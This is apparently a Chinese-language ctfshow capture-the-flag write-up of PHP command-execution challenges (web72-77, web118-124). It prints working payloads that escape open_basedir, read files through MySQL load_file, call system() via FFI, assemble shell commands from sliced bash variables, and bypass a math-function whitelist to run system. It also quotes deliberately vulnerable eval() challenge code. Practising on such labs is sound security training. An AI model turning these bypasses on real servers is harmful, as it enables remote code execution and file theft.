命令执行


从这里开始就像是打ctf的情况了, 前置是一点不会, 全靠在网上找原理找相似题目, 我的建议是做好心理准备

web72

  • 描述: 命令执行,突破禁用函数,求你们别秀了
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);

压根没有变?可是我的flag呢?我的flag哪里去了?

偷偷你的web71, 你尝试访问根目录的时候会发现Operation not permitted, 权限也没了

c=var_export(scandir("./"));exit();

本题设置了open_basedir(), 以及限制了ini_set(), 现在是将php所能打开的文件限制在指定的目录树中(指定为/var/www/html), 包括文件本身; 而且还不能通过ini_set()重新设置这个属性(对应博客)

解决这个问题给到的payload是:

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

我不是很懂这个怎么来的

# 详解: 
<?php
$a=new DirectoryIterator("glob:///*");
# 利用DirectoryIterator($path)可以实现遍历目录下的所有文件
# glob:// — 查找匹配的文件路径模式
# DirectoryIterator("glob:///*") 遍历根目录里所有文件
foreach($a as $f) #循环遍历输出,并以空格为分隔
{echo($f->__toString().' ');
} exit(0);
?>

eval()里的语句可以视为在当前php文件里加了几条语句, 这些语句必须是完整的, 即必须以";“, 或者”?>“结尾来结束语句, 但是eval里的”?>"不会闭合当前php文件

ctfshow提供的这道题的poc(一个绕过安全目录的脚本): 说是利用了php的垃圾回收,我这里干脆就贴别人写的文章得了,我看不懂这段代码原理

web73

  • 描述: 同上

没给源码, 但是看报错应该是差不多的, 也是open_basedir(), 以及限制了ini_set()

可是却可以直接执行以下代码获取根目录文件, 那看来是形同虚设

c=var_export(scandir("/"));exit();

直接尝试包含本题的flag: flagc.txt, 成功执行拿到flag

c=include('/flagc.txt');exit();

web74

  • 描述: 同上

也没给源码, 报错也一样, 那我们继续试之前的payload, 结果发现不能用了, 测试发现是因为scandir()被限制了

那就用web72提供的代码好了, 可以得到本次的flag是flagx.txt

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

直接尝试进行include, 发现可以执行, 那就拿到了flag

c=include('/flagx.txt');exit();

web75-76

  • 描述: 同上

帮你试过了, 还是得用上面web72的脚本, 本次的flag叫做flag36.txt; 但是open_basedir给你整麻了, 不能include了

然后web72的那个脚本也不行了, 不清楚原因, 只能求助于wp:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

浅浅分析: 大佬博客再此, 如果想要知道数据库名字似乎要从前面的题目获取

PDO 为PHP访问数据库定义了一个轻量级的一致接口,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据。new PDO($dsn, $user, $pass);

try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
# 在MySQL中,load_file(完整路径)函数读取一个文件并将其内容作为字符串返回。
foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{
echo($row[0])."|";
}
$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();exit(0);
}
exit(0);

web77

  • 描述: 没有

源码也没有, 哦牛皮; 直接开套, 得到本题flag为flag36x.txt

c=?><?php $a=new DirectoryIterator("glob:///*"); foreach($a as $f){echo($f->__toString().' ');} exit(0);?>

然后来看看远处的wp吧朋友们, payload:

c=$ffi = FFI::cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);

FFI(Foreign Function Interface), 即外部函数接口, php7.4以上才有, php官方解析

FFI指在一种语言里调用另一种语言代码的技术; PHP的FFI扩展就是一个让你在PHP里调用C代码的技术, 上面的payload解释如下, 访问1.txt即可得到flag

$ffi = FFI::cdef("int system(const char *command);");	//创建一个system对象
$a='/readflag > 1.txt'; //没有回显,所以将内容输出到1.txt
$ffi->system($a); //通过$ffi去调用system函数

web118

  • 描述: flag in flag.php, by yu22x

web118详解

通过单个字符爆破登录框得到可用的字符, 其中包括大括号, 冒号, 问号和部分字母

利用内置变量的切片, 可以切出我们想要的字符; 拼接起来组合成命令nl

${PATH:~Q}${PWD:~Q} ????.???

其中, ~是从字符串末尾开始切片, 我们只需要最后那个字母, 所以只需要~0; 而任意的大小写字母与数字0等效, 选一个可用的字母即可

$PWD应该是/var/www/html, 取l; $PATH最后一个单词肯定是bin, 取n

image-20241009195813055

还有另一种比较长的

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

# 在Bash中,`${#var}`的语法用于获取变量var的长度, 其实就是将这些数字应用到切片中去,绕过对数字的过滤

web119

  • 描述: 无

过滤了PATH和BASH

同理, 用上面的内置变量加切片的方法绕过过滤, 构造我们想要的命令

# ${HOME:${#HOSTNAME}:${#SHLVL}} == t
# ${PWD:${Z}:${#SHLVL}} == /
# $RANDOM会生成一个随机数, 这个数字是4到5位, 结合上面我们可以得到数字4或5


${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
# /bin/cat flag.php

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
# /bin/base64 flag.php

还可以继续用nl(题目环境不允许, 不是解题方法), 查一下怎么输出所有内置变量然后去构造

# $LANG = en_US.UTF-8, 这里还有个n, 切片方法为${LANG:${#SHLVL}:${#SHLVL}}

${LANG:${#SHLVL}:${#SHLVL}}${PWD:~Q} ????.???

web120

  • 描述: by yu22x

给源码了; 过滤HOME, base64的payload可以继续使用, 这次构造的是a而不是t

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
# /bin/cat flag.php

这次需要查看网页源代码才能搜索到ctfshow

web121

  • 描述: by yu22x 师傅们 留口饭吃

过滤了~, SHLVL, 限制了长度小于65;

base64的读取只需要稍作修改

# SHLVL被过滤, 我们使用${#?}或${##}代替

${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

还可以用/bin/rev, 即rev, 将文件内容读取并进行反转

${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web124

  • 描述: RCE
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-06 14:04:45
*/
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}

过滤了一些符号, 使用的字母必须是数学函数的白名单里的字母, 长度不能大于80

我们可以通过$_GET[]传参来绕过过滤, []可以用{}代替, 再利用进制转换来构造我们需要的字符

  • base_convert : 在任意进制之间转换数字。
  • hexdec : 把十六进制转换为十进制。
  • dechex : 把十进制转换为十六进制。
  • hex2bin : 把十六进制的字符串转换为ASCII码

没有hex2bin需要使用base_convert构造出来

需要两个参数, 一个传递函数名, 一个传递函数参数值:

$_GET{abs}($_GET{acos})

接下来构造_GET:

_GET转成十六进制是0x5f474554, 由十六进制转为十进制1598506324

_GET == hex2bin(dechex(1598506324))
# 没有hex2bin, 构造它
base_convert(37907361743,10,36) == hex2bin
# 得到:
_GET == base_convert(37907361743,10,36)(dechex(1598506324))
# 避免超长, 变量都选择最短的:
$pi=base_convert(37907361743,10,36)(dechex(1598506324))

这里base_convert写36进制, 是为了能把所有字符都表示进来, 10+26=36

payload:

POST:
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php